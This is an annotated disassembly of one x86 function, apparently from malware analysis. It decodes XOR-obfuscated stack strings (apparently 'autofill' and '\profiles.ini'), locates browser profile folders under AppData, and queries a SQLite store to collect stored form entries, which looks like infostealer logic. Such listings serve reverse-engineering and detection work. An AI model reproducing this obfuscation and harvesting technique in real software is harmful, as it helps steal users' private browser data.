Function at 0x135cf10
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xdb788f
mov eax, dword fs:[0]
push eax
mov eax, 0x1410
mov dword fs:[0], esp
call fcn.01404490
push ebx
mov ebx, ecx
push esi
mov dword [ebp - 0xf4], ebx
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 2
lea ecx, [ebx + 8]
push 0
mov byte [ebx], 0
call fcn.01390250
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x10], 1
mov eax, esp
lea ecx, [ebp - 0xc8]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0138ca00
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x1a], 0x8d9595be
mov dword [ebp - 0x16], 0x8a898d85
mov word [ebp - 0x12], 0x100
lea ecx, [ecx]
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x135cfa0
lea eax, [ebp - 0x1a]
mov byte [ebp - 0x11], 0
push eax
mov ecx, ebx
call fcn.01392840
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc0]
mov byte [ebp - 0xc8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc8]
mov dword [edi + 8], eax
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], esi
call fcn.0138c670
push 0x104
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.01405710
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0xdbd310]
lea ecx, [ebp - 0x418]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d035
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x135e066
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
jb 0x135d05c
mov eax, dword [ebp + 8]
push edx
push eax
push ecx
lea eax, [ebp - 0x418]
push eax
push ecx
push dword [ebp - 0x90]
lea ecx, [ebp - 0x164]
call fcn.01396210
mov dword [ebp - 0x10], 0x41
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x8c], 0x8d939083
mov dword [ebp - 0x88], 0x83898d85
mov dword [ebp - 0x84], 0x8480c694
mov word [ebp - 0x80], 0x82
mov byte [ebp - 0x7e], 1
lea ecx, [ecx]
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x8c], al
inc ecx
cmp ecx, 0xd
jb 0x135d0b0
lea ecx, [ebp - 0x8c]
mov byte [ebp - 0x7e], 0
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d0d0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x154]
sub eax, edx
cmp eax, ecx
jb 0x135e06b
cmp dword [ebp - 0x150], 0x10
lea eax, [ebp - 0x164]
jb 0x135d103
mov eax, dword [ebp - 0x164]
push ecx
lea ecx, [ebp - 0x8c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x90]
lea ecx, [ebp - 0x14c]
call fcn.01396210
mov ebx, 0xc1
mov dword [ebp - 0x10], ebx
push 0x1000
lea eax, [ebp - 0x1418]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.01405710
add esp, 0xc
lea eax, [ebp - 0x14c]
cmp dword [ebp - 0x138], 0x10
jb 0x135d156
mov eax, dword [ebp - 0x14c]
push eax
push 0x1000
lea eax, [ebp - 0x1418]
push eax
push edx
call 0x158a3d8
lea esi, [ebp - 0x1418]
mov dword [ebp - 0xcc], esi
jmp 0x135d180
mov dword [ebp - 0x19], 0x848e928f
xor ecx, ecx
mov dword [ebp - 0x15], 0x80888a
mov byte [ebp - 0x11], 1
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 7
jb 0x135d194
push 7
lea eax, [ebp - 0x19]
mov byte [ebp - 0x11], 0
push eax
push esi
call fcn.01410d0f
add esp, 0xc
test eax, eax
jne 0x135df7b
push 0x104
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.01405710
add esp, 0xc
lea edx, [ebp - 0x14c]
cmp dword [ebp - 0x138], 0x10
jb 0x135d1e6
mov edx, dword [ebp - 0x14c]
mov dword [ebp - 0x7a], 0x8a95818f
xor ecx, ecx
mov word [ebp - 0x76], 0x100
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 4
jb 0x135d1f5
push edx
push 0x104
lea eax, [ebp - 0x310]
mov byte [ebp - 0x75], 0
push eax
push 0
lea eax, [ebp - 0x7a]
push eax
push esi
push edx
call 0x15283f3
lea ecx, [ebp - 0x68]
mov word [ebp - 0x68], 0x5c
mov byte [ebp - 0x66], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d230
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x154]
sub eax, edx
cmp eax, ecx
jb 0x135e066
cmp dword [ebp - 0x150], 0x10
lea eax, [ebp - 0x164]
jb 0x135d263
mov eax, dword [ebp - 0x164]
push ecx
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x90]
lea ecx, [ebp - 0x3c]
call fcn.01396210
or ebx, 4
mov dword [ebp - 0x10], ebx
lea eax, [ebp - 0x310]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x3c]
call fcn.0138e6a0
or ebx, 8
mov dword [ebp - 0x10], ebx
mov ecx, dword [eax]
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x19c], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x198], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0x194], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x135d325
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135d31b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
xor eax, eax
mov dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d366
sub ecx, edx
lea eax, [ebp - 0x310]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.013282e0
mov byte [ebp - 4], 9
lea edi, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
mov ebx, dword [ebp - 0xb8]
jb 0x135d39d
mov edi, ebx
mov esi, dword [ebp - 0xa8]
test esi, esi
je 0x135d49f
push esi
push 0x2f
push edi
call fcn.01406f00
add esp, 0xc
test eax, eax
je 0x135d49f
sub eax, edi
cmp eax, 0xffffffff
je 0x135d49f
sub esp, 0x18
mov word [ebp - 0x6b], 0x2f
mov edx, esp
mov byte [ebp - 0x69], 0
xor eax, eax
mov dword [ebp - 0x11c], esp
lea ecx, [ebp - 0x6b]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d3f8
sub ecx, esi
lea eax, [ebp - 0x6b]
push ecx
push eax
mov ecx, edx
call fcn.013282e0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xb8]
mov ecx, esp
push eax
call fcn.0138e990
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 9
call fcn.013302a0
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x1b0]
mov esi, dword [ebp - 0x1b4]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x135d484
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0xb8]
cmp ecx, eax
je 0x135d484
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x135d477
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.0138e570
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 9
call fcn.01390a80
mov esi, dword [ebp - 0xa8]
mov ebx, dword [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
lea edi, [ebp - 0xb8]
jb 0x135d4b0
mov edi, ebx
test esi, esi
je 0x135d5a0
push esi
push 0x5c
push edi
call fcn.01406f00
add esp, 0xc
test eax, eax
je 0x135d5a0
sub eax, edi
cmp eax, 0xffffffff
je 0x135d5a0
sub esp, 0x18
mov word [ebp - 0x6e], 0x5c
mov edx, esp
mov byte [ebp - 0x6c], 0
xor eax, eax
mov dword [ebp - 0xa0], esp
lea ecx, [ebp - 0x6e]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d505
sub ecx, esi
lea eax, [ebp - 0x6e]
push ecx
push eax
mov ecx, edx
call fcn.013282e0
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xb8]
mov ecx, esp
push eax
call fcn.0138e990
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.013302a0
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x8c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x135d591
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0xb8]
cmp ecx, eax
je 0x135d591
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x135d584
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.0138e570
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.01390a80
mov dword [ebp - 0x36], 0x908e8683
xor ecx, ecx
mov dword [ebp - 0x32], 0x958c8c8e
mov dword [ebp - 0x2e], 0x939b8793
mov dword [ebp - 0x2a], 0x829c9fc5
mov dword [ebp - 0x26], 0x948486
mov byte [ebp - 0x22], 1
lea esp, [esp]
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0x13
jb 0x135d5d0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x22], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d5e7
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x20]
sub eax, edx
cmp eax, ecx
jb 0x135e066
cmp dword [ebp - 0xd0], 0x10
lea eax, [ebp - 0x1a8]
jb 0x135d617
mov eax, dword [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x36]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x134]
call fcn.01396210
mov ebx, dword [ebp - 0x10]
or ebx, 2
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x54], 0x10082ad
xor ecx, ecx
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 2
jb 0x135d642
cmp dword [ebp - 0x120], 0x10
lea eax, [ebp - 0x134]
mov byte [ebp - 0x51], 0
jb 0x135d668
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x54]
push ecx
push eax
call fcn.01409580
add esp, 8
test eax, eax
je 0x135de85
push eax
call fcn.0140ce08
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xc0]
push 0
mov byte [ebp - 0xc8], 0
call fcn.01390250
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x188]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0138ca00
add esp, 8
mov byte [ebp - 4], 0x11
mov bl, byte [ebp - 0xc8]
test bl, bl
jne 0x135d737
mov bl, 1
push 8
mov byte [ebp - 0xc8], bl
call fcn.014034b0
mov esi, eax
add esp, 4
lea eax, [ebp - 0xd5]
mov dword [ebp - 0x174], esi
mov dword [ebp - 0x178], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.014034b0
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x174], 0
mov dword [ebp - 0xc0], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x135d73d
mov esi, dword [ebp - 0xc0]
cmp bl, 1
jne 0x135e0ca
lea eax, [ebp - 0xb8]
mov ecx, esi
push eax
call fcn.01390460
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x188]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x180]
mov byte [ebp - 0x188], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x188]
mov dword [edi + 8], eax
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x17c], esi
call fcn.0138c670
cmp dword [ebp - 0x120], 0x10
lea ecx, [ebp - 0x134]
jb 0x135d7ae
mov ecx, dword [ebp - 0x134]
lea edx, [ebp - 0xf8]
call fcn.01339200
test eax, eax
jne 0x135de20
mov dword [ebp - 0x50], 0xa7ada58c
xor ecx, ecx
mov dword [ebp - 0x4c], 0x80c5b0a0
mov dword [ebp - 0x48], 0x8e858d8e
mov dword [ebp - 0x44], 0x8b808d85
mov dword [ebp - 0x40], 0x9387d0c3
mov dword [ebp - 0x3c], 0xd690819f
mov dword [ebp - 0x38], 0xb7b6aab1
mov dword [ebp - 0x34], 0x849291db
mov dword [ebp - 0x30], 0x706e66a0
mov dword [ebp - 0x2c], 0x756c6c6e
mov dword [ebp - 0x28], 0x737b6773
mov word [ebp - 0x24], 0x30
mov byte [ebp - 0x22], 1
lea ebx, [ebx]
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 0x2d
jb 0x135d820
mov ecx, dword [ebp - 0xf8]
lea eax, [ebp - 0x90]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x50]
mov byte [ebp - 0x22], 0
call fcn.013e9750
add esp, 0x14
test eax, eax
jne 0x135de15
mov ebx, dword [ebp - 0x90]
mov ecx, ebx
call fcn.013c6dc0
cmp eax, 0x64
jne 0x135dda3
nop
test ebx, ebx
je 0x135d8bf
cmp dword [ebx + 0x2c], 0
je 0x135d89a
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x135d89a
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d895
push eax
call dword [0xde2f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x135d8c4
mov eax, dword [ebx]
test eax, eax
je 0x135d8bf
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d8b1
push eax
call dword [0xde2f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.013b65b0
add esp, 0xc
mov ecx, 0xdce308
mov dl, 1
call fcn.013c4030
mov edi, eax
test ebx, ebx
je 0x135d920
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x135d903
cmp byte [esi + 0x1e], 0
jne 0x135d8e8
cmp ecx, 0xc0a
jne 0x135d8fe
push 0
push 7
push esi
call fcn.013b65b0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x135d908
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d920
push eax
call dword [0xde2f68]
add esp, 4
mov dword [ebp - 0xd4], edi
test ebx, ebx
je 0x135d97b
cmp dword [ebx + 0x2c], 0
je 0x135d956
mov eax, 1
cmp ax, word [ebx + 0x30]
jae 0x135d956
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d94e
push eax
call dword [0xde2f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x28
jmp 0x135d980
mov eax, dword [ebx]
test eax, eax
je 0x135d97b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d96d
push eax
call dword [0xde2f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.013b65b0
add esp, 0xc
mov ecx, 0xdce308
mov dl, 1
call fcn.013c4030
mov dword [ebp - 0x20], eax
test ebx, ebx
je 0x135d9dd
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x135d9c0
cmp byte [esi + 0x1e], 0
jne 0x135d9a5
cmp ecx, 0xc0a
jne 0x135d9bb
push 0
push 7
push esi
call fcn.013b65b0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x135d9c5
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x135d9dd
push eax
call dword [0xde2f68]
add esp, 4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xd0], eax
test edi, edi
je 0x135db3f
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135d9f3
sub ecx, edx
je 0x135db3f
mov dword [ebp - 0x59], 0x9189a5
xor ecx, ecx
mov byte [ebp - 0x55], 1
nop
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 3
jb 0x135da10
lea eax, [ebp - 0x59]
mov byte [ebp - 0x55], 0
push eax
push edi
call fcn.01404d80
add esp, 8
test eax, eax
jne 0x135da66
mov dword [ebp - 0x5e], 0xb1a985
xor ecx, ecx
mov byte [ebp - 0x5a], 1
nop
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x5e], al
inc ecx
cmp ecx, 3
jb 0x135da40
lea eax, [ebp - 0x5e]
mov byte [ebp - 0x5a], 0
push eax
push edi
call fcn.01404d80
add esp, 8
test eax, eax
je 0x135db3f
push 0x24
call fcn.014034b0
mov esi, eax
add esp, 4
mov dword [ebp - 0x1b8], esi
mov byte [ebp - 4], 0x15
lea edi, [esi + 0xc]
mov ecx, dword [ebp - 0x20]
xor eax, eax
mov dword [esi + 4], 1
mov dword [esi + 8], 1
mov dword [esi], 0xdd2420
mov dword [edi], eax
lea edx, [ecx + 1]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x135dab0
sub ecx, edx
push ecx
push dword [ebp - 0x20]
mov ecx, edi
call fcn.013282e0
or dword [ebp - 0x10], 0x20
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xdc], esi
mov byte [ebp - 4], 0x16
mov eax, dword [0xde533c]
cmp eax, dword [0xde5340]
je 0x135db07
mov dword [eax], edi
mov dword [eax + 4], esi
add dword [0xde533c], 8
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
jmp 0x135db3f
lea ecx, [ebp - 0xe0]
push ecx
push eax
call fcn.0139b240
mov esi, dword [ebp - 0xdc]
test esi, esi
je 0x135db3f
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x135db3f
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x135db3f
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xe8]
push 0
mov byte [ebp - 0xf0], 0
call fcn.01390250
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0xd4]
xor eax, eax
mov byte [ebp - 0x108], 0
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
call fcn.013a2a40
mov byte [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x74], 0x878c81b1
mov word [ebp - 0x70], 0x100
lea ecx, [eax - 0x21]
xor byte [ebp + eax - 0x74], cl
inc eax
cmp eax, 4
jb 0x135db94
lea eax, [ebp - 0x74]
mov byte [ebp - 0x6f], 0
push eax
lea ecx, [ebp - 0xf0]
call fcn.01392840
mov byte [ebp - 4], 0x18
mov edi, eax
mov cl, byte [ebp - 0x108]
mov eax, dword [ebp - 0x100]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xfc]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x108], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x108]
mov dword [edi + 8], eax
mov dword [ebp - 0x100], edx
mov dword [ebp - 0xfc], esi
call fcn.0138c670
xor eax, eax
mov byte [ebp - 0x118], 0
lea edx, [ebp - 0xd0]
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x10c], eax
call fcn.013a2a40
mov byte [ebp - 4], 0x1a
xor ecx, ecx
mov dword [ebp - 0x65], 0x978d81a9
mov word [ebp - 0x61], 0x86
mov byte [ebp - 0x5f], 1
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x65], al
inc ecx
cmp ecx, 5
jb 0x135dc36
mov al, byte [ebp - 0xf0]
mov byte [ebp - 0x5f], 0
test al, al
jne 0x135dc85
push 1
lea ecx, [ebp - 0x170]
mov byte [ebp - 0xf0], 1
call fcn.01390250
mov eax, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x170]
mov dword [ebp - 0xe4], eax
mov al, byte [ebp - 0xf0]
mov dword [ebp - 0xe8], esi
jmp 0x135dc8b
mov esi, dword [ebp - 0xe8]
cmp al, 1
jne 0x135e075
xor eax, eax
lea edx, [ebp - 0x65]
mov dword [ebp - 0x3c], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
lea ecx, [ecx]
mov al, byte [edx]
inc edx
test al, al
jne 0x135dcb0
sub edx, ecx
lea eax, [ebp - 0x65]
push edx
push eax
lea ecx, [ebp - 0x3c]
call fcn.013282e0
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x1b
push eax
mov ecx, esi
call fcn.01395b30
mov byte [ebp - 4], 0x1a
mov edi, eax
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x135dd0f
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135dd05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x18
mov al, byte [ebp - 0x118]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov cl, byte [edi]
mov byte [edi], al
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov eax, dword [ebp - 0x110]
mov byte [ebp - 0x118], cl
mov ecx, dword [ebp - 0x10c]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x118]
mov dword [edi + 8], eax
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], esi
call fcn.0138c670
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0xc8]
call fcn.0138c320
lea ecx, [ebp - 0xf0]
push ecx
mov ecx, eax
call fcn.0138c040
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x10
call fcn.0138c670
mov ecx, ebx
call fcn.013c6dc0
cmp eax, 0x64
je 0x135d870
test ebx, ebx
je 0x135de15
mov esi, dword [ebx]
mov edi, dword [esi + 0x44]
test edi, edi
je 0x135ddba
push edi
call dword [0xde2f60]
add esp, 4
mov eax, dword [ebx + 0x50]
mov dword [ebp - 0x20], 0
cmp eax, 0xbdf20da3
je 0x135ddd2
cmp eax, 0x519c2973
jne 0x135dddc
mov ecx, ebx
call fcn.013c6000
mov dword [ebp - 0x20], eax
mov ecx, ebx
call fcn.013c61b0
test esi, esi
je 0x135de07
cmp byte [esi + 0x1e], 0
jne 0x135ddf6
cmp dword [ebp - 0x20], 0xc0a
jne 0x135de07
push 0
push 7
push esi
call fcn.013b65b0
add esp, 0xc
mov byte [esi + 0x1e], 0
test edi, edi
je 0x135de15
push edi
call dword [0xde2f68]
add esp, 4
mov ecx, dword [ebp - 0xf8]
call fcn.013396b0
mov dword [ebp - 0x9a], 0x8d9595be
xor ecx, ecx
mov dword [ebp - 0x96], 0x8a898d85
mov word [ebp - 0x92], 0x100
nop
lea eax, [ecx - 0x21]
xor byte [ebp + ecx - 0x9a], al
inc ecx
cmp ecx, 8
jb 0x135de40
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0x9a]
push eax
mov byte [ebp - 0x91], 0
call fcn.01392840
lea ecx, [ebp - 0xc8]
push ecx
mov ecx, eax
call fcn.0138c040
lea ecx, [ebp - 0xc8]
call fcn.0138c670
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x135dec3
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135deb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp ecx, 0x10
jb 0x135df1c
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135df12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0x10
jb 0x135df75
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135df6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov esi, dword [ebp - 0xcc]
push esi
push eax
call 0x1496063
inc esi
add esi, eax
mov dword [ebp - 0xcc], esi
cmp byte [esi], 0
jne 0x135d180
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x135dfce
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135dfc4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x150]
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
cmp ecx, 0x10
jb 0x135e01f
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135e015
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x135e04f
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135e045
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135e070
push ecx
push edx
call fcn.01403731
add esp, 8
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.01327a70
call fcn.01327a70
call fcn.014089d0
lea ecx, [ebp - 0xf0]
call fcn.01390560
